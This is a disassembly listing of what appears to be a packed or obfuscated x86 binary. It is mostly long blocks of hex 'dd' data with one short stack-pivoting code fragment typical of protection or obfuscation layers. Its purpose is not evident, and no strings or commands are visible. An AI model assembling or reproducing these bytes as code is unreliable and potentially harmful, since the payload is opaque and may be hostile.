		dd 0A0573035h, 82382393h, 0EDA38872h, 0E346211Ch, 3FDEEDDBh
		dd 7106644h, 6E8A4042h,	0D01FD406h, 76E946D9h, 4B69466h
		dd 10470h, 0E6BC9000h, 411CBD10h, 1542F09Ch, 0A72191EAh
		dd 0CB6AEBB2h, 0B36892F8h, 0E6C1DD8Eh, 878EEAB9h, 0B8147741h
		dd 0E2EBBA19h, 32D91FA3h, 988B1DEh, 0A2D630BEh,	22A748FAh
		dd 2775642Ch, 0D0D1A416h, 0D1B051h, 92B522AAh, 2F3606FAh
		dd 6D8248EFh, 7852A8B8h, 0D1B04B42h, 0EFE40C4Fh, 4169F308h
		dd 0A00C54AFh, 9Dh, 94B107C0h, 79D742BFh, 7CC33D1h, 2EDB7A66h
		dd 855BC526h, 0D37D1CAFh, 0E5694389h, 0B6E37A42h, 0FBAFF1EDh
		dd 0B0DBDDEBh, 0B4B63BCBh, 0F799E0CDh, 7AFB1764h, 0DA86E5E8h
		dd 24DA2AABh, 0EBCE05Fh, 7C5C5EECh, 0B68D2CADh,	0D01CAC68h
		dd 4F03ECCEh, 0D987B93Fh, 7729C803h, 0E1CE2D8Fh, 38BF3E8Bh
		dd 208EE2CBh, 0B7B6A481h, 83AC9736h, 0C8DAA987h, 0D71FA3F2h
		dd 1AB1C172h, 4F606BDh,	7C669426h, 5CFDD0A6h, 0BA2F82A5h
		dd 208315F9h, 0DD188542h, 6C75AB22h, 0AE45B1B5h, 0D6Dh
		dd 10E6BCBEh, 2B6D1CBDh, 0B211336h, 28583ABEh, 5CDF3A81h
		dd 0D33037C5h, 22A85262h, 3EEEDD98h, 0CF5E9C2Eh, 0CC21902Ch
		dd 0A214DDDCh, 0B823892h, 0AA73112Fh, 665DFC7Dh, 20B37847h
		dd 0D2350D9Eh, 0CFCB3AF5h, 8368C2E9h, 67081577h, 64E6C0F0h
		dd 7EF5C3B0h, 5562F0CFh, 5037AC50h, 5AFB7ABBh, 7555D567h
		dd 0C52D8B1Fh, 48159215h, 25CCh, 0CC075C00h, 0D2B3FA42h
		dd 0FF493E8Fh, 0DCCDA8D5h, 1B9F15B6h, 0FFFA1CD8h, 3EEA49FFh
		dd 38837D2Eh, 3F622637h, 0E6BCD179h, 0EC5EBD10h, 2ECFDEDCh
		dd 0DF9FEADBh, 0A0B0F2B3h, 0EA49583Ah, 0FCCE2C3Ch, 7657CFBEh
		dd 31F06B72h, 19E0CB2Dh, 75515294h, 93105F62h, 9780634Ah
		dd 0DDC6D474h, 5783DDEAh, 8ACF755Bh, 7CCh, 0DB465D9Ah
		dd 0FD9C2F05h, 7C2AE9Dh, 0E2BCDEAFh, 13F0977Eh,	720433F2h
		dd 0D8BFAFB3h, 0BB168202h, 0FD9BC94Eh, 0E946873Fh, 13956373h
		dd 90506A5h, 0A933041h,	466D8C69h, 28925C35h, 3B92683Ah
		dd 6D845F9Ah, 3BF04F01h, 0BDFBCD2Bh, 0EEBD99CEh, 50D6B71Ch
		dd 0E05D50E6h, 0C5D582E1h, 0A021A0F3h, 950C0201h, 0AB028486h
		dd 86950BD8h, 1FAE1CAEh, 0FA0010C0h, 0DD708A30h, 3AC0D07Eh
		dd 0BFCF7F70h, 17496F39h, 0B9587349h, 487CD567h, 21A3F9F1h
		dd 0A0147388h, 0DAE06A90h, 881D4B9h, 440DFEC1h,	7A2C8B42h
		dd 6AF5CC6Dh, 0D9126C1h, 208E3BBBh, 0EE71CD10h,	3A906F77h
		dd 106E9Bh, 3C4CFD00h, 90A00FBCh, 42520368h, 93A319B6h
		dd 44540663h, 3B46B1B4h, 0CA7F7787h, 45AA4E5Eh,	0D57A7E8Eh
		dd 15A55161h, 5C2C17B6h, 2A5A5B60h, 7A6270Ah, 537ED2FCh
		dd 9AAA1D8Ah, 0F1658A30h, 178DEAE1h, 0D3986B0Ah, 0DCEE537Eh
		dd 9F2ECCEEh, 3FE9F1Eh,	83537ED4h, 0D3D5ACFFh
		dd 0ADB1537Eh, 0B58B550Bh, 0B7227716h, 742896E9h, 4FFDFh
		dd 0AF0635A3h, 7C3A6978h, 4107F1D7h, 0CD18EB8Ah, 5C6E0E00h
		dd 5576175Eh, 25534F69h, 14735A6Ch, 0E0678F9Fh,	0B9C1C061h
		dd 0E6C55B52h, 0B6946676h, 9249A614h, 5E957882h, 588E81h
		dd 876B9E7Fh, 0C28D6203h, 89B09DD2h, 51FC3002h,	7B0A508Ch
		dd 61E0E7AAh, 0C041C1C0h, 0F7C1C5CAh, 303CDE94h, 25FB6531h
		dd 16B4C474h, 90FA16B7h, 0AAA239D4h, 0D296AD8Bh, 3C4CBDB3h
		dd 0BBCA8311h, 4373271Ah, 7D4B5F3Eh, 9D81907Bh,	191DF13Ah
		dd 33426A9Dh, 0D3722E12h, 783F744Eh, 4DF1F943h,	5BF029DAh
		dd 10000000h, 0FC07A627h, 0E4537ED2h, 2E306373h, 360CD68Ch
		dd 6B5DF697h, 0C2659C79h, 0AEDFA161h, 6A7A2CF8h, 0AA10BA90h
		dd 0C4315803h, 30B1FCE5h, 0C438B291h, 46F7D4E5h, 87269436h
		dd 0E05F764Dh, 94A41473h, 7CA99839h, 0C9DDED61h, 0D9EDA4EFh
		dd 802F8C1Fh, 0FAC08A70h, 47DBh, 0C827E900h, 32F80212h
		dd 3208DA88h, 0A18C3C9Bh, 4CAE1C2Ch, 0D0713C7Eh, 0FAC03E0Ch
		dd 4BADC148h, 9E89B005h, 0B0726106h, 0F7E252B1h, 0E9BF3949h
		dd 298F19DFh, 0D275586Ah, 0EAE1A59Fh, 4037A8D8h, 17692Dh
		dd 0E20AF0CAh, 56859549h, 9C3555D0h, 0AC1EB50Bh, 3B00000Eh
		dd 0D57A7E8Eh, 49A65262h, 0D7748494h, 2CA15565h, 77926676h
		dd 3141F904h, 0A8B828C5h, 18289B50h, 0ABBB6BE0h, 0AD4C6B4Bh
		dd 5B605DD6h, 0BCB090B0h, 1CBD10E6h, 45245F92h,	0C1D189E6h
		dd 0ECE894F7h, 0CBB2C77Dh, 4B687655h, 0F467C409h, 0B9FD6E4h
		dd 7BBD5EEDh, 5130D16Fh, 3553AAE1h, 22917831h, 0EEDD475h
		dd 59953ABh, 0A5B9E6C3h, 6FC4162Fh, 332A449h, 2060725Eh
		dd 0A1557337h, 0B1F6F7EAh, 130067E6h, 416C2110h, 9F170983h
		dd 70460E00h, 0B68C5688h, 0C9017617h, 1989368Ch, 495D4167h
		dd 4F855F64h, 60622B93h, 7582359Ah, 56BAEDD4h, 0C30599B4h
		dd 81570933h, 8835AB4Ah, 0F423F139h, 0B8398A9Ah, 27FC44D5h
		dd 6A72637h, 3C2C03FBh,	0B2C1F78Bh, 0D3E354B3h,	8A41AEE5h
		dd 3AA507Ah, 44D2FF1Fh,	0E97EA73Dh, 0ECFD9C39h,	46509E26h
		dd 0E153B05Dh, 2AA127D1h, 0E328B88Bh, 0FEBCCE75h, 0E00A5269h
		dd 148A2E6h, 225h, 10E6BC21h, 0DD9F1CBDh, 70134B5Bh, 0C36B3D69h
		dd 0E0533BF4h, 2C6A812Ah, 9E7A3187h, 0B4AFCE12h, 0AA5360C9h
		dd 0EA8B0AE6h, 0BAAA717h, 0F80212C9h, 4A5F6332h, 3AE065E0h
		dd 325F59C5h, 24C92F33h, 0D756A2B2h, 62CCB756h,	0A8BA0BAAh
		dd 5969DD12h, 92A21572h, 2D8E268h, 8839470Bh, 189B55BFh
		dd 0F9A00EA2h, 5EAB85ABh, 79F8BF9Dh, 0AB98E9D8h, 0AF099D8Ah
		dd 0A41221D6h, 68DA3994h, 98C7BA5Bh, 0ABBF8AABh, 340FAE1Dh
		dd 528AAB99h, 0E18E6A50h, 109B5D6Dh, 9911F091h,	16758AABh
		dd 0C95F99A9h, 19D2B9FFh, 597C7788h, 0AA4A39D8h, 2A3CA977h
		dd 18181D90h, 2D50A68Bh, 0B5B98D41h, 8532FBFBh,	8D741594h
		dd 0F9B9FEF3h, 2C9A5365h, 0F3837E1Fh, 7F03B9FEh, 8E40AD49h
		dd 3BF04F7Eh, 756B8D2Bh, 54F5D8AEh, 97B322F2h, 4C4A15B6h
		dd 4AE34EC0h, 0B9FFC9D9h, 601F0ED2h, 34295402h,	6521DF5h
		dd 8FDBE487h, 9CCD8591h, 0C378571Eh, 4AE115B3h,	0D12737EDh
		dd 0D17FC1F7h, 3431D0FBh, 2E79B2BAh, 0A308412Eh, 6373E946h
		dd 88513C55h, 0A5A1F319h, 433EDFEEh, 43C6385Eh,	0DC6F893Fh
		dd 0FCBECE7Fh, 0A35363D3h, 45889846h, 566474E6h, 0CAFE8984h
		dd 0DFA8C824h, 8EFA2382h, 0F000B00Fh, 0E374210Ah, 24E1C36Eh
		dd 549914A6h, 0E6F32884h, 0CA76D578h, 0C0283E9Bh, 78527EF1h
		dd 0C9962542h, 3AF10515h, 5C895A15h, 8A9A46A5h,	757C7D30h
		dd 6914BBA0h, 0F07AB050h, 443CB95Ah, 2E7B8B3Ah,	0D3853707h
		dd 0E0B305C3h, 20D8AE76h, 0DEBFBABh, 3D70491Eh,	5F380153h
		dd 157282A9h, 872C8E9Eh, 0C6859B26h, 3A223ABh, 0B4C89900h
		dd 3B5A6AE0h, 36029127h, 299DBA51h, 99867D1Ch, 7E00B4C8h
		dd 8F3FAC4Ch, 9947797Fh, 2A8908C3h, 5B526878h, 67FE512Ch
		dd 0A6EFD7Ah, 16D475F7h, 5A4B9DCFh, 0E5473ADBh,	2B3F4CA3h
		dd 5D61248Dh, 9B52CD6Eh, 8BAB3848h, 612AC92Dh, 9B000000h
		dd 9E887B1Ah, 6CFE4CA4h, 0F5C3D383h, 10E6BC55h,	6CDF3CBDh
		dd 1323935Ch, 365563E5h, 6C475058h, 45B8B640h, 8BB5D8F3h
		dd 0F03B6389h, 8E9E0A69h, 99DCDE6Ch, 0CD7AF305h, 995039BDh
		dd 2D03D23Bh, 4DCFF9Eh,	3592AF86h, 65487282h, 0DF7DCC9Dh
		dd 0B144C6E7h, 35341663h, 645666D6h, 1EFE8D11h,	71859549h
		dd 3BB85BDAh, 0F2B2F902h, 3E655C4Fh, 9D21537Fh,	0A57B251Bh
		dd 212C926h, 4C54F5B8h,	10CDE223h, 0FA237621h, 0EEB3BA5Dh
		dd 13E876ADh, 68BFEEA5h, 1E3310C0h, 0E681E47Dh,	3B7D00AAh
		dd 62862938h, 0A2DFD6FBh, 0EF7302B8h, 4DFE5DDCh, 0E1527B3Dh
		dd 13C825D1h, 0B736F503h, 52A72B16h, 0FF2935Bh,	775B52A7h
		dd 40FFA0F3h, 11707685h, 0C9774187h, 0EB8A4117h, 3D07EC0Fh
		dd 0ADD8807Dh, 564BFA95h, 0A1B236Ah, 0E1F164C3h, 0F00A9CD7h
		dd 3E18623Dh, 5B71405h,	0C82503F5h, 0D5B80212h,	6E646296h
		dd 2695FC9Bh, 5F1C338h,	0C746855Bh, 0B039A546h,	269C4BB1h
		dd 3DB57C87h, 55780AECh, 3DB4CDB4h, 13A5B9ECh, 0A02AC398h
		dd 0F2298FF7h, 2647250Eh, 670F18E3h, 1BB2B4B1h,	0FDFB0BBCh
		dd 8DB48F2Eh, 0D0D27411h, 731AC0FAh, 27D92728h,	6D25D426h
		dd 0B3DBC27Ch, 1EFCE0Eh, 0D72131A2h, 0B32C6751h, 17EA8B0Ah
		dd 6F1D1320h, 0F3085D5Bh, 0D2D94169h, 42A0EFh, 27C00000h
		dd 0F50313C8h, 24D6E658h, 0CC764486h, 0EC8D4016h, 3CA13A2Ah
		dd 0D955C21Eh, 20DE7D53h, 98B086D2h, 44897819h,	0E857D1C8h
		dd 0D8822D8h, 0FD343F79h, 5FBC8F69h, 415105F0h,	24C23187h
		dd 0A2000000h, 0BD10E6BCh, 2CC8201Ch, 0CE8874E3h, 55F46637h
		dd 6B61E253h, 0F808B615h, 1294D1C2h, 550665E8h,	27F77345h
		dd 0D2FC07A6h, 0F88A537Eh, 89990DC2h, 3555DE52h, 20D3259Ch
		dd 98Fh, 53A3B31Eh, 0BD3949F6h,	698D9D10h, 0B8405004h
		dd 678F9F13h, 5AD0DB9Ch, 8F41AE4Ah, 61D2777Fh, 9648A551h
		dd 0EBCA7286h, 6063774Ah, 0FD5D0F5Bh, 16CC575Dh, 76EC8D40h
		dd 0EA5F362Bh, 0E81DBDD1h, 0C2C160E1h, 0C4E961D0h, 0CC7DF8C2h
		dd 3A11B615h, 6766F831h, 4DC0CFC4h, 0C175B479h,	0ADA117B1h
		dd 48C311CEh, 990A69FCh, 0DFD96F89h, 455F56ACh,	950D6A52h
		dd 961AE988h, 5A6C778Bh, 0EBC08A70h, 7983DF4Bh,	4D66541Fh
		dd 0AFEC460h, 0C7998370h, 0A83BDAF1h, 0B6433C7Eh, 84D7BDFAh
		dd 0D4092645h, 0F039064Dh, 8C568C6Eh, 715767DBh, 0EC1CBB5Ah
		dd 9AAD768h, 0D17065D4h, 0E06CE9F2h, 0BF991294h, 4568524Ah
		dd 14C6C584h, 0EF7EC2E9h, 61248733h, 5141D73Eh,	0B03DDC64h
		dd 0F0DBEDFDh, 0E3132393h, 3BEDD886h, 7C3E9D2Bh, 3FFD2AD7h
		dd 89D4AA9h, 7D2C0000h,	73E4896Dh, 87369363h, 5ACA7F77h
		dd 8941AE4Ah, 116A7D79h, 0B4445406h, 5D99A917h,	0CB2B3BF0h
		dd 58A0B01Eh, 616001C0h, 255B6064h, 9549E383h, 558E5685h
		dd 9B2D9C35h, 85E38h, 2C3CED00h, 0A0B01FCCh, 3242F358h
		dd 0A3B329C6h, 3444F653h, 2B36C1C4h, 0DA8F6777h, 359A5E6Eh
		dd 0E58A6E7Eh, 5956171h, 641C27C6h, 3A6A5B60h, 7A6271Ah
		dd 537ED2FCh, 0DC2F88Ah, 0C3428999h, 15E3F364h,	0D3291893h
		dd 495D537Eh
		dd 0D2E0E382h, 24A6537Eh, 54FE4496h, 0CB2434A3h, 507B4D5Dh
		dd 14158BB1h, 82E805A2h, 0E98A1476h, 9B009602h,	0F495380Dh
		dd 39BD230Dh, 0DED3E579h, 24853ABFh, 6DF13833h,	0B3895789h
		dd 0FB0BBB18h, 4FC919AEh, 0F2C8C2EDh, 4BFD5ADBh, 0CC0E7D3Bh
		dd 84C019D8h, 2A4204C7h, 90C392B3h, 82CB1EF7h, 0B233FA00h
		dd 38A13013h, 66545648h, 0DA1DE947h, 3C3B6F74h,	7617EBF1h
		dd 2BE52585h, 0A1FE7FF0h, 0CB9C1E2Eh, 3676243Ch, 0E56B0AE6h
		dd 5C000000h, 7A4050FFh, 0BD585DD2h, 0EF8E3D13h, 0A0EFE839h
		dd 8A9B790Fh, 1C56F72Ah, 2C5A51D8h, 7E8E3E9Dh, 0DC4A393Ch
		dd 8B72FECCh, 43318A9Fh, 8C5A63ADh, 63B25561h, 164EDDB3h
		dd 3A414D6Bh, 0A05A6ADDh, 6EFDB00Ah, 0E66E92A4h, 0FDD0A67Ch
		dd 9BFCD75Ch, 85958B42h, 27A66937h, 0F60414C8h,	3A278634h
		dd 40715D42h, 922120C1h, 61657DA4h, 91F8CB6Ah, 0FC8E7DA4h
		dd 0EC7EB7BEh, 28FED40Eh, 4E9104A5h, 28159297h,	70AF1659h
		dd 811D2A0Dh, 3F601FD0h, 0B3285962h, 20F006A3h,	0ED4A8147h
		dd 20CD2939h, 713F9EAEh, 2C397AB1h, 6D53F96h, 0F5640000h
		dd 0EB5C11E5h, 0FFAE1BDBh, 0F26207EFh, 1B916E2h, 790205F1h
		dd 4CACBC6Eh, 0D521319Fh, 43B3C378h, 0D02838A6h, 5928C9E8h
		dd 2D5B6065h, 0D94FDB7Bh, 1D000000h, 0BD10E6BCh, 0BC1F221Ch
		dd 826176DBh, 0B0D12E76h, 5C18DD8Fh, 380BAA2Bh,	4E5C18F4h
		dd 33F27E3Ch, 8F3F9C2Fh, 6AB4C7Fh, 2100484Fh, 724B19B4h
		dd 86C9EB39h, 0B727C434h, 410F51A7h, 60E1606Bh,	197DC2C1h
		dd 0F8C2C45Ch, 0A3D4A995h, 6A2FEB4Ah, 9A3D7261h, 0F0A4E16Ch
		dd 0E6AD0B73h, 0FC7965C7h, 1774F19Bh, 983395A5h, 8177873Bh
		dd 0F9E711A7h, 0FB7A5127h, 0A218289Ch, 44A76CEBh, 1A53A1Dh
		dd 11985E3Eh, 968E626Eh, 0CC6D06CDh, 5E8029F5h,	0FDBB0D91h
		dd 5BA8C48Eh, 1FA3E2B1h, 132E1CBCh, 0B61DB327h,	5F7h, 2BCBDB86h
		dd 0F50111BEh, 21D5E558h, 10E8F8ACh, 1FD7E75Bh,	32A8B344h
		dd 0C779D622h, 198A3FB7h, 0CE80ED09h, 63623ABEh, 6065BFC2h
		dd 0C5A5C75Bh, 0FC07A627h, 8A537ED2h, 0A2CBC2F8h, 0D074F021h
		dd 4AB0C073h, 84DFE283h, 23A78235h, 839348A5h, 0A605B375h
		dd 0BA53C10Fh, 96A61877h, 0BFF4C664h, 6B5621DEh, 9C3D5C24h
		dd 0AE746254h, 77FBEB67h, 0B1F89B22h, 0CF8033C2h, 744FEEDDh
		dd 129BFC7Ah, 86832A90h, 248A9DD1h, 0B40616C7h,	0CAA072DCh
		dd 0E0E38203h, 0BCAFE323h, 0CE485014h, 1CAEE5B8h, 8E6E0F9Eh
		dd 6A27DE7h, 0CDDCDA43h, 22CD1233h, 0B170C7F5h,	99209F8Eh
		dd 3395A17Ch, 0A9B628C5h, 0AEBA8928h, 0BACCEBF7h, 0F7AF10F3h
		dd 0D6F476EBh, 0AE31DD07h, 2BCA2034h, 51Bh, 7EFFFAAh, 11E5F562h
		dd 1DD9E95Ch, 0CECFCB0h, 1BDBEB5Fh, 2EA4AF48h, 0C375DA1Eh
		dd 35A643B3h, 0AA1CD125h, 0FFBE5E9Ah, 6067635Eh, 0E181235Bh
		dd 73859549h, 0FECDA36Dh, 9C1E2EA1h, 94067011h,	6082308Bh
		dd 6370D34h, 341A1BA7h,	9042A15Dh, 0F23B3A80h, 2EB37451h
		dd 0BC0EED79h, 0B3914D3Ch, 2BC38940h, 11B2512Fh, 0CA54D870h
		dd 9D15BAEDh, 4E04698Dh, 0DE86BC3Eh, 0A544C508h, 0F70AB49Eh
		dd 0F4E4D6E8h, 859549D4h, 3C4CFA73h, 0FAD082BCh, 596032D3h
		dd 0F740052Fh, 0B397299Bh, 26D4E454h, 335A16A4h, 0EA3AA400h
		dd 99A9217Eh, 6FF3721Fh, 0E697BB5Ch, 9D5B6BDBh,	5C549E0Bh
		dd 0CC2C17B6h, 485A173Eh, 0EBA23882h, 343FD16Ah, 8DA8B758h
		dd 0A77D719Eh, 0EBC0D7E5h, 0E1D71436h, 8EECB6AAh, 0B6E28927h
		dd 9C58065Eh, 91AB6027h, 340D6C09h, 62D8h, 0E6BC6800h
		dd 0BD3CBD10h, 7ED3251Ch, 5B5D6153h, 7682AC30h,	0CA68A88Ch
		dd 733AC2B6h, 2791A114h, 0DB1C2284h, 3B4A091Dh,	1F5EA79Ah
		dd 22FDF542h, 3F7D2ABDh, 269D5254h, 6746B416h, 554FDB94h
		dd 74407CFAh, 596B12DCh, 4D21085Fh, 421AB196h, 13C82998h
		dd 15449h, 0C8993A00h, 0EB724A52h, 49FF6B4Dh, 0FA738595h
		dd 0C2491948h, 0C23A44C9h, 1C70111h, 3C9334F7h,	82A5F263h
		dd 0DF4F803Ah, 12C429CFh, 9017F602h, 0F660C9A1h, 6C57F677h
		dd 1A88CDC3h, 0C31E2588h, 6B7E88CDh, 0E3096D9Bh, 7B1B5E0h
		dd 0B963F5A4h, 143E5F99h, 0ACB6175Eh, 90B58C2Dh, 6809BE5Bh
		dd 0BE5B9199h, 0A8BAD9EDh, 73859547h, 11AEE3D5h, 0E13E8D9Dh
		dd 0C9E5C6Ch, 31A54AAEh, 0F09AA21h, 886703BDh, 0E1E7F7ABh
		dd 11BF01D7h, 7011903Bh, 0BE5BC891h, 0C67C71F5h, 546644B6h
		dd 0B5FAD879h, 2BA65878h, 5B6FB126h, 0EAD1392Ah, 38EA49C1h
		dd 0A91DD228h, 0FD9C2F99h, 0C62ED106h, 0B9BCFE80h, 0CEDB4BA8h
		dd 2ED1542Fh, 9A3032C6h, 552CCD60h, 31C62ED1h, 561D9B2Dh
		dd 0E8BAA454h, 111ABB12h, 41575287h, 9724223Ch,	2796315Ch
		dd 31F8E4CCh, 0C01F9E2Dh, 13BCFE0Eh, 2678F9Fh, 319D4050h
		dd 0B056CA0Bh, 2C5BB1Ah, 0E5540000h, 0FBAC21D5h, 0EF5E0BEBh
		dd 2B217DFh, 0F16906F2h, 0A95215E1h, 0DC1C2C9Eh, 45B1C16Fh
		dd 0D32333A8h, 40B8C876h, 0C9B85958h, 0BD5B6068h, 9149AB8Bh
		dd 0A22838A6h, 3545F956h, 8B761796h, 0FB537ED3h, 26A55167h
		dd 0B60414C9h, 12C82796h, 0D88AB802h, 352ACB02h, 451DE0B7h
		dd 566474E6h, 3A514537h, 692C5157h, 25BB5110h, 0DA05A6Ch
		dd 4216ED8Ch, 0EE70C356h, 0EDECE1CCh, 0EEA60E52h, 9E95B6F1h
		dd 14EF8E0Fh, 729EFD52h, 6FE3CAF0h, 4DBB54EAh, 492E07AAh
		dd 0AF1E80C3h, 56D0330Eh, 694F53C3h, 0FB0BBD2Ah, 36F40CFDh
		dd 8D01F628h, 3CDDEA60h, 0C3564E45h, 6D8B3D41h,	0BD71866Fh
		dd 0AEF69924h, 0ECDB2AD1h, 4A8106B4h, 15FEE8F2h, 11BF996h
		dd 49090000h, 0FA738595h, 0F2953848h, 0F537E1B9h, 0DA61712Bh
		dd 0C132B80h, 3AA506Ah,	0F4EA0F41h, 6A44C65Fh, 0ABD87F50h
		dd 0DA889552h, 0C53141F5h, 2232A906h, 665833D8h, 0EEA55916h
		dd 3DF1DEDCh, 83B29130h, 0D2D4B0D9h, 0CC2B02F8h, 19AF4959h
		dd 1CEFA19Fh, 0D984867Dh, 4C7E00B0h, 0FC5F0081h, 59727AA3h
		dd 400F1C8Dh, 3827210Dh, 72B10B82h, 7EFF1637h, 7AD7E4DFh
		dd 9A20A21Bh, 1AD30EF3h, 0DAD57477h, 6498AA26h,	9132992Dh
		dd 9EAF7473h, 15C1F728h, 2C9F752Bh, 158D258Dh, 179937ADh
		dd 0C6E7D15Dh, 0D1374D64h, 4127C8CFh, 6A273578h, 69FD7842h
		dd 3D4D0562h, 6F9E14B9h, 7B1968DDh, 0A93496FBh,	42EFD8EFh
		dd 24C134C6h, 0B3000001h, 4D02F606h, 0C12ECADAh, 4FFCFC0Ch
		dd 0C429CDDDh, 0EFFAFE0Eh, 0B9C9818Ch, 1020903Dh, 0C0D083E8h
		dd 13239338h, 0D57453E3h, 5B606AEEh, 4948E898h,	690D6291h
		dd 5B6D8283h, 10D0984Eh, 893FBCE4h, 3E4E006Dh, 6C7C308Fh
		dd 0DAFEBC8Eh, 859549F2h, 3C4CFA73h, 72823291h,	0E0F8C288h
		dd 6F5E34DEh, 0D3744FEEh, 9012537Eh, 0B002A32Ah, 0B02847EEh
		dd 84FAEE36h, 56F776F5h, 0AE42116Bh, 7A31871Bh,	944B374h
		dd 2434A704h, 2F6654D6h, 7E8E419Eh, 5565D37Ch, 3C4E4573h
		dd 92711091h, 0F41547F8h, 3DB24872h, 0D07D7989h, 207F4E5Eh
		dd 0BD1B9DADh, 0E1E91EEh, 315C5EECh, 7B68A66Dh,	742FD1E7h
		dd 39D0BD74h, 38D836C3h, 570665E4h, 0A117B147h,	0B62837C4h
		dd 0FA7B52A6h, 7809685Bh, 2E8C1EE5h, 0FBFD0DC1h, 28D2E252h
		dd 0F60414C7h, 23D5E559h, 35F90E53h, 8AA95E27h,	7FEC0C1Ch
		dd 601BA0CFh, 2CFAAAD9h, 695F6979h, 15E48Fh, 0E4650000h
		dd 78373E45h, 983948E5h, 0E57836A9h, 0B9FFC9DDh, 49A4C891h
		dd 0FD728898h, 0EBF3949h, 26B8D9Dh, 3BB44656h, 0CC817787h
		dd 3BB44656h, 0CE7F7989h, 44A94F5Fh, 0D6758393h, 81E28952h
		dd 4C2h, 4EA8300h, 5C241487h, 50242C89h, 405E089h, 83000000h
		dd 48704E8h, 34895C24h,	0E6895624h, 4C681h, 0EE810000h
		dd 4, 5C243487h, 68240489h, 36F6h, 68241489h, 25862FDFh
		dd 4EAC15Ah, 8107EAC1h,	0E532E2F2h, 5AD68907h, 388168h
		dd 24248900h, 4240481h,	58000000h, 39EB68h, 240C8900h
		dd 4889F189h, 48B5908h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5EA26F
; ---------------------------------------------------------------------------
		dd 0AB50184Dh, 0CF6DB88h, 0BDA0F35Ch, 0E199DFB8h, 0FFC50307h
		dd 47F4F3E0h, 67F4C669h, 0EC2CE74Ah, 0ADEF6109h, 3950EC2Dh
		dd 5A631E6Fh, 5BA87B7Ch, 648D8D68h, 6A07E19Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 138FC355h, 8634D032h, 66EE44DAh, 897ED0BFh, 0D329418Dh
		dd 0B1958907h, 0C707D302h, 0D32BA185h, 68AC07h,	1D858900h
		dd 0BF07D30Ah, 0C36A68Ah, 331185C7h, 7D3h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 3196ECC3h, 0D313458Dh, 29B5FF07h, 107D32Dh, 0D3185195h
		dd 0A5B58907h, 0FF07D31Bh, 0D32D3D95h, 51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 8064A5AAh, 6AC8DBh, 301995FFh, 0C08B07D3h, 5F2E1FEBh
		dd 61D8CA2Ch, 9E772A7Fh, 5EF71322h, 6CD62C0Bh, 178C555Bh
		dd 0C13124C7h, 5E4AC833h, 658D8D60h, 6A07E19Ch,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0B743C353h, 0E124F729h, 0CB7B6EDDh, 34559529h, 8D8907D3h
		dd 7D32941h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	0EC35040h, 0D5C8D434h, 2B3C782Ch, 0A185C7B6h, 8407D32Bh
		dd 6A00005Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 83BEC356h, 4694733Eh, 0B1858913h
		dd 0C707D31Bh, 0D3331185h, 7, 765FBE00h, 0B5FF36A3h, 7D30E65h
		dd 0AEDF8166h, 3D95FFD9h, 6A07D32Dh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0D999C351h
		dd 0BD89609Dh, 7D32BEDh, 6A6154B5h, 1995FF00h, 8B07D330h
		dd 0FD1BEBC0h, 843B09EEh, 7D810C0h, 0B4D6C408h,	0AFF1100Fh
		dd 8B22A6C8h, 66013441h, 8D8D53B2h, 7E19D36h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 48C35545h, 11463201h
		dd 7483FFEh, 0D1BD0338h, 8907D31Ch, 0D329418Dh,	0CDBD2907h
		dd 0C707D30Eh, 0D32BA185h, 6A9007h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0A58CE38Ah
		dd 0D2B70F96h, 331185C7h, 7D3h,	0C8810000h, 48440A10h
		dd 8E9h, 0C2A6E800h, 4F350BCDh,	61B5FF23h, 6007D329h, 8166FD8Ah
		dd 6191AAF7h, 2D3D95FFh, 9E907D3h, 0DF000000h, 1D82A720h
		dd 0FD166587h, 95FF006Ah, 7D33019h, 0BEBC08Bh, 20AF1964h
		dd 0C09A3B17h, 0E80598D6h, 9, 523A76CFh, 0D361E4E5h, 0F58D8B6Ah
		dd 5807D30Bh, 2919D8Bh,	0C08107D3h, 68E1h, 5E9h, 134C6200h
		dd 0FF331A79h, 0C69BD89h, 348B07D3h, 21958938h,	8107D331h
		dd 0EE1F41C6h, 0D9BD8911h, 8107D307h, 0E21448F6h, 0FBA6029h
		dd 8B1B8FD3h, 0D32625B5h, 0EE816107h, 0C4BF8E9h, 5653C980h
		dd 12058D0Bh, 48F07D3h,	118D0338h, 6607D312h, 621FDB81h
		dd 2A15EF81h, 0BD014904h, 7D325D5h, 2A11C781h, 9D8B4904h
		dd 7D32005h, 97B4FF81h,	850FFFFFh, 0FFFFFF96h, 10EBF9h
		dd 3 dup(0)
		dd 8B000000h, 0F9B523C0h, 8307D306h, 0D313B1BDh, 9750007h
		dd 273DBD83h, 740007D3h, 8B535019h, 42DB8C0h, 85890000h
		dd 7D31805h, 28099D8Dh,	0D3FF07DBh, 0BD83585Bh,	7D3273Dh
		dd 50177400h, 42DB853h,	85890000h, 7D31805h, 24F89D8Dh
		dd 0D3FF07DBh, 8166585Bh, 6AE2F9DAh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0D0E3C355h
		dd 80FE38BFh, 0E90182E3h, 0Fh, 55122297h, 2655157Dh, 162C4B27h
		dd 8BA75B36h, 0D68B66C0h, 9918D8Bh, 6A07D3h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 177A3CC3h
		dd 0FCFD4895h, 0F5F35030h, 0F00F983h, 0C684h, 4AB8BA00h
		dd 6160101Ah, 2C3D8B64h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0D49C351h
